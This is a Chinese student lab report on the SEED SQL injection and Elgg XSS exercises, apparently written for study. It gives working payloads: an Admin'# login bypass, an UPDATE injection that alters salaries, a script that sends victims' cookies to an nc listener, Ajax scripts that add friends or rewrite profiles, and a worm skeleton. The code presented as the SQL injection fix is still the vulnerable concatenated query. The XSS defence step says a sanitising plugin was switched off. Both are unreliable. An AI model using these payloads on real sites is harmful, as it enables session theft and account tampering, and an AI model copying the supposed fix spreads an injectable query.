一、实践内容
(一)SEED SQL注入攻击与防御实验
Web 应用程序(Web Application)是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言(如 JavaScript 等脚本语言及 HTML 等渲染标记语言)所编写,或能够在浏览器控制的环境中运行(如 Java Applet),依赖于浏览器来对应用程序进行渲染与执行。web体系结构的整体架构如下图所示:
Web应用体系结构中面临的安全威胁有:
- 针对浏览器和终端用户的Web浏览安全威胁。具体包括以浏览器渗透攻击为核心的网页木马,Phishing 网站钓鱼等。
- 针对传输网络的网络协议安全威胁。如针对HTTP明文传输协议的敏感信息监听,在网络层、传输层和应用层都存在的假冒身份攻击,以及拒绝服务攻击等。
- 系统层安全威胁。Web站点的宿主操作系统,如 Windows Server、Linux 等,存在着远程渗透攻击和本地渗透攻击威胁。
- Web服务器软件安全威胁。Web服务器软件如IIS、Apache作为一种典型的网络服务,也不可避免地存在着安全漏洞与弱点,攻击者可以利用这些漏洞对Web服务器实施渗透攻击,或者获取敏感信息。
- Web 应用程序安全威胁。程序员在使用 ASP、PHP 等脚本编程语言实现
- Web应用程序时,由于缺乏安全意识或有着不良的编程习惯,最终导致Web应用程序出现安全漏洞,从而被攻击者渗透利用,包括SQL注入攻击、XSS跨站脚本攻击等。
- Web 数据安全威胁。Web站点中在Web应用程序后台存储的关键数据内容,以及Web客户输入的数据内容,存在着被窃取、篡改及输入不良信息等威胁。
本次实验涉及到的两种攻击方式为:
1、SQL注入
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL注入攻击步骤和过程主要为:
- SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。
- 收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。
- 猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。
- 查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
- 入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。
SQL注入攻击防范措施:
- 使用类型安全的参数编码机制
- 凡是来自外部的用户输入,必须进行完备检查
- 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
- 加强SQL数据库服务器的配置与连接
2、XSS跨站脚本攻击
跨站脚本攻击指利用网站漏洞从用户那里恶意盗取信息。用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时,通常会点击其中的链接。攻击者通过在链接中插入恶意代码,就能够盗取用户信息。
XSS攻击类型:
- 持久型XSS攻击,最直接的危害类型,跨站代码存储在服务器。
- XSS反射型攻击,最普遍的类型。恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
XSS攻击防范措施 : - 输入验证:某个数据被接受为可被显示或存储之前,使用标准输入验证机制,验证所有输入数据的长度、类型、语法以及业务规则。
- 输出编码:数据输出前,确保用户提交的数据已被正确进行entity编码,建议对所有字符进行编码而不仅局限于某个子集。
- 明确指定输出的编码方式:不要允许攻击者为你的用户选择编码方式(如ISO 8859-1或 UTF 8)。
- 注意黑名单验证方式的局限性:仅仅查找或替换一些字符(如"<" ">"或类似"script"的关键字),很容易被XSS变种攻击绕过验证机制。
- 警惕规范化错误:验证输入之前,必须进行解码及规范化以符合应用程序当前的内部表示方法。请确定应用程序对同一输入不做两次解码。
二、实践过程
1、熟悉SQL语句
在进行实验之前,首先使用命令sudo service apache2 start
开启apache服务,可以使用sudo service apache2 status
查看运行状态,同时查看Firefox浏览器是否已经添加了插件HTTP Header Live
:
打开终端,使用命令mysql -u root -p
登录mysql数据库,使用命令show databases;
查看已有的数据库,注意不要忘记;:
使用命令use Users;
切换到Users数据库,之后使用命令show tables;
查看Users数据库中的所有的表,使用select * from credential;
sql语句可以查询该表中的所有记录:
使用select * from credential where Name = 'Alice';
sql语句可以进行条件查询,查询Name为Alice的所有记录:
2、对SELECT语句的SQL注入攻击
打开浏览器,输入网址http://www.seedlabsqlinjection.com/
,在/var/www/SQLInjection/
目录下可以找到unsafe_home
页面的源代码,使用sudo vim /var/www/SQLInjection/unsafe_home.php
查看,可以找到sql语句$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’";
,在后面的条件中,如果我们构造的$input_uname
输入值为Admin'#
,则发现,因为#
在sql语句中代表注释,则#
之后的Password判断不会执行,则可以实现在不知道密码的情况下登陆该Web应用程序:
如下图所示,USERNAME输入Admin'#
,PASSWORD保持空值,可以直接进行登录:
在HTTP Header Live
中可以查看到发起的请求,%23
代表#
:
3、对UPDATE语句的SQL注入攻击
在NickName那里输入语句', salary='500000' where EID='10000';#
可以看到Alice的工资已经被修改:
4、修复上述SQL注入攻击漏洞
SQL注入漏洞的根本问题是无法将代码与数据分离,因为,防御SQL注入攻击最安全的方法是使用预处理语句,将SQL语句模板化,以此让程序明确知道哪一部分是输入参数,哪一部分是需要执行的动作或条件。
SELECT语句代码和数据放在一起,所以容易遭受攻击。下面我们进行代码的修改。
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
if (!$result = $conn->query($sql)) {
echo "</div>";
echo "</nav>";
echo "<div class='container text-center'>";
die('There was an error running the query [' . $conn->error . ']\n');
echo "</div>";
}
/* convert the select return result into array type */
$return_arr = array();
while($row = $result->fetch_assoc()){
array_push($return_arr,$row);
}
/* convert the array type to json format and read out*/
$json_str = json_encode($return_arr);
$json_a = json_decode($json_str,true);
$id = $json_a[0]['id'];
$name = $json_a[0]['name'];
$eid = $json_a[0]['eid'];
$salary = $json_a[0]['salary'];
$birth = $json_a[0]['birth'];
$ssn = $json_a[0]['ssn'];
$phoneNumber = $json_a[0]['phoneNumber'];
$address = $json_a[0]['address'];
$email = $json_a[0]['email'];
$pwd = $json_a[0]['Password'];
$nickname = $json_a[0]['nickname'];
当我们继续使用', salary='100' where name='Boby';#
去修改Boby的工资时,发现整个字符串都被打印在了NickName中,修改工资却没有成功。
(二)SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
1、发布恶意消息,显示警报窗口
访问www.xsslabelgg.com,使用Alice的用户名alice和密码seedalice登录
点击edit profie,在Brief description中写入代码<script>alert('XSS');</script>
使用Boby的账号访问Alice的主页,看到xss弹窗,攻击成功
2、弹窗显示cookie信息
将填入的代码改为<script> alert(document.cookie);</script>
使用Boby的账号访问Alice的主页可以看到弹窗
3、窃取受害者的cookies
使用JavaScript将cookies发送到攻击者机器的5555端口<script>document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie) + ' >');</script>
在终端中开启监听nc -l 5555 -v
使用boby的账户登录并且查看Alice的账户profile就能够得到boby的cookie信息
4、成为受害者的朋友
在Alice的about me中添加Javascript代码(这里要使用edit HTML模式)
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
用boby访问alice的主页,boby就会自动加alice为好友。
5、修改受害者的信息
同样在about me中构造的js程序
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
用boby访问Alice的profile,即可成功修改boby的profile
6、编写XSS蠕虫
<script id="worm" type ="text/javascript">
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
alert(jsCode);
</script>
通过boby访问Alice的profile发现这段代码已经被成功的复制
7、对抗XSS攻击
我们利用管理员账户进行登录,找到Account->administration->plugins,并且找到插件HTMLawed关闭它。
查看Alice的profile,看看有没有效果了。可以看到,这个时候XSS攻击已经没有效果了,Alice中的代码被当作about me显示出来了。
三、学习中遇到的问题及解决
- 问题1:虚拟机与主机不能互相复制粘贴命令
- 问题1解决方案:使用sudo apt install vmware-tools解决
四、实践总结
本次实践动手操作了SQL注入和XSS攻击,基本了解了这两种攻击的原理,操作步骤,可能造成的危害以及一般防范方式,这对于提高网络攻防技能以及更好的开发WEB应用打下了基础。